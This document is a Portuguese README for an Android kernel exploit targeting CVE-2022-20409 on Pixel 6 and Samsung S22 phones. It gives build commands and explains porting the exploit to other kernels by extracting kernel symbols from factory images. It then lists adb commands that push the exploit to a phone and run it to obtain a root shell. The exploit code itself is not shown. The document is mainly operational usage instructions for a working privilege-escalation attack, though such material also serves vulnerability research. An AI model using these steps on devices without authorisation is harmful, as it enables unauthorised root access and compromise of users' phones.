
Exploração do kernel Android para CVE-2022-20409
Certifique-se de que o Android NDK está instalado. Para o pixel 6,
make pixel
Para o samsung s22,
make s22
O exploit foi escrito para suportar diferentes versões de kernels. Para portar o exploit para um kernel diferente, você precisa extrair o arquivo de símbolos do kernel de destino.
O kernel pode ser extraído da imagem de fábrica do telefone. Para os Pixels, baixe a imagem de fábrica aqui.
Depois de baixar a imagem, extraia a imagem para obter o arquivo boot.img. O boot.img pode ser extraído com tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Você verá o kernel em out/kernel
Agora, com a imagem do kernel, podemos usar vmlinux-to-elf para extrair os símbolos do kernel dela.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Você precisa garantir que a Version string extraída no símbolo corresponda à versão do kernel do seu telefone. A versão do kernel do telefone pode ser consultada via adb. Por exemplo,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
corresponde a
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Agora você pode enviar o exploit e o arquivo de símbolos para o telefone e obter root com os seguintes comandos.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Aproveite seu root shell :)